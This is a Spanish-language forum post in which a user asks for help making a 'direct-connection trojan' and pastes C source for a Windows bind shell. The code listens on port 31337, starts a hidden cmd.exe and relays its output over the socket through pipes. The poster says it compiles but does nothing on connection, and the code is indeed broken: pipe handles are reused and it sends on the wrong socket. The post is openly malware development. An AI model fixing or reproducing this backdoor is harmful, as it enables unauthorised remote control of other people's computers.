Bueno, he probado las dos soluciones, pero desgraciadamente no puedo con ninguna de las dos. Las pipes son interesantes, pero no se como hacerlas funcionar en mi favor. Si alguno sabe como usarlas, con un code, k me lo diga por favor. Sobre lo del NC, lo de troyanizando netcat me parece mas de lammer que de alguien k kiere aprender. Sera un manual util, pero no busco meterme en el ordenador de otra persona, si no hacer un troyano de conexion directa, pues ya he hecho el de conex. inversa, k veo realmente simple.
Sigo pensando en lo de las pipes, pero necesito una manita xD!!!
A la vez busco un troyano en C de conex. directa. Vi uno que usaba pipes tambien, pero no se donde esta.
Seguire buscando. Muxas gracias
El code:
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>
HANDLE Out, In, Err;
HANDLE hThread[3];
DWORD IDThread[3];
STARTUPINFO Stup;
SOCKET newsock;
SOCKET sockfd;
DWORD WINAPI Lectura(LPVOID lpvThreadParm)
{
char buffer;
unsigned long BytesRead;
int n;
while(1)
{
ReadFile(Out, &buffer, 1, &BytesRead, NULL);
n= send(sockfd, &buffer, 1, 0);
}
return 0;
}
DWORD WINAPI Escritura(LPVOID lpvThreadParm)
{
char buffer;
unsigned long BytesRead;
int n;
while(1)
{
ReadFile(In, &buffer, 1, &BytesRead, NULL);
n= send(sockfd, &buffer, 1, 0);
}
return 0;
}
DWORD WINAPI LecturaError(LPVOID lpvThreadParm)
{
char buffer;
unsigned long BytesRead;
int n;
while(1)
{
ReadFile(Err, &buffer, 1, &BytesRead, NULL);
n= send(sockfd, &buffer, 1, 0);
}
return 0;
}
int ShellCode ()
{
CreatePipe (&Out, &Out, NULL, 0);
CreatePipe (&In, &In, NULL, 0);
CreatePipe (&Err, &Err, NULL, 0);
Stup.cb=sizeof (Stup);
Stup.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
Stup.wShowWindow = 0;
Stup.hStdOutput = Out;
Stup.hStdError = Err;
Stup.hStdInput = In;
CreateProcess (NULL, "cmd.exe", NULL, NULL, 0, 0, NULL, NULL, &Stup, NULL);
hThread[0] = CreateThread(NULL, 0, Lectura, NULL, 0, &IDThread[0]);
hThread[1] = CreateThread(NULL, 0, LecturaError, NULL, 0, &IDThread[1]);
hThread[2] = CreateThread(NULL, 0, Escritura, NULL, 0, &IDThread[2]);
WaitForMultipleObjects( 3, hThread, TRUE, INFINITE);
CloseHandle(hThread[0]);
CloseHandle(hThread[1]);
CloseHandle(hThread[2]);
}
int main ()
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 0), &wsaData);
struct sockaddr_in host, client;
int a=sizeof (struct sockaddr);
sockfd=socket (2, 1, 0);
host.sin_family=AF_INET;
host.sin_addr.s_addr=0;
host.sin_port=htons (31337);
bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
listen (sockfd, 1);
while (1)
{
newsock=accept (sockfd, (struct sockaddr*)&client, &a);
ShellCode ();
closesocket (newsock);
}
closesocket (sockfd);
return 0;
}
Va bien y sin warnings pero falla cuando te conectas. No hace nada!